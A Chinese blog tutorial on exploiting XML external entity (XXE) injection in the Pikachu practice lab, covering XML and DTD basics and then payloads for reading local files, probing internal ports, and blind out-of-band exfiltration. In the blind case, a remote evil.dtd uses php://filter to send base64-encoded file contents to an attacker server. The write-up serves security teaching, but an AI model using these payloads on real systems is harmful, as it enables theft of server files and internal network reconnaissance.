XXE&XML 之漏洞利用 pikachu

目录

一、XXE和XML概念

1.XML

2.XXE

二、DTD和XML实体ENTITY概念

三、pikachu的XML(有回显)

1.读取文件payload

2.在有回显的情况下,可以读取敏感文件

(1)payload:

(2)evil.dtd:

(3)结果:

3.作为内网探针探测开放端口

四、pikachu的XML(无回显)

1.注释源码中的echo 语句进行测试

2.构造payload

(1)思路:

(2)evil.dtd

(3)target.php

3.查看访问日志,解密得出结果


一、XXE和XML概念

1.XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。

2.XXE

XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞

XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,没有进行严格的过滤,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

二、DTD和XML实体ENTITY概念

(1)DTD为英文Document Type Definition,中文意思为“文档类型定义”。

(2)DTD声明始终以!DOCTYPE开头,空一格后跟着文档根元素的名称。

(3)XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。
ENTITY的定义语法:
<!DOCTYPE  文件名 [
<!ENTITY  实体名 "实体内容">
]>

三、pikachu的XML(有回显)

1.读取文件payload

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///d://test/1.txt">

]>

<x>&xxe;</x> 

2.在有回显的情况下,可以读取敏感文件

我这里调用了云服务器中建立的evil.dtd文件

(1)payload:

<!DOCTYPE foo 
[<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

(2)evil.dtd:

<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >

(3)结果:

3.作为内网探针探测开放端口

<?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE foo [  <!ELEMENT foo ANY >  <!ENTITY rabbit SYSTEM "http://47.113.219.245:8080" > ]>  <x>&rabbit;</x>

可以根据响应时间来判断端口是否开放。

四、pikachu的XML(无回显)

1.注释源码中的echo 语句进行测试

2.构造payload

(1)思路:

先利用php协议流玩法读取文件内容,之后调用了外部实体,把文件内容作为参数访问我们的自己的攻击服务器,以此来形成访问日志,解密后拿到文件内容。

xx.xx.xx.xx是我们的攻击服务器ip地址(我用的是云服务器)。

<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../../../target.php">
    <!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/evil.dtd">
    %dtd;
    %send;
]>

(2)evil.dtd

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

(3)target.php

3.查看访问日志,解密得出结果

文章参考:

CTF XXE - MustaphaMond - 博客园

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值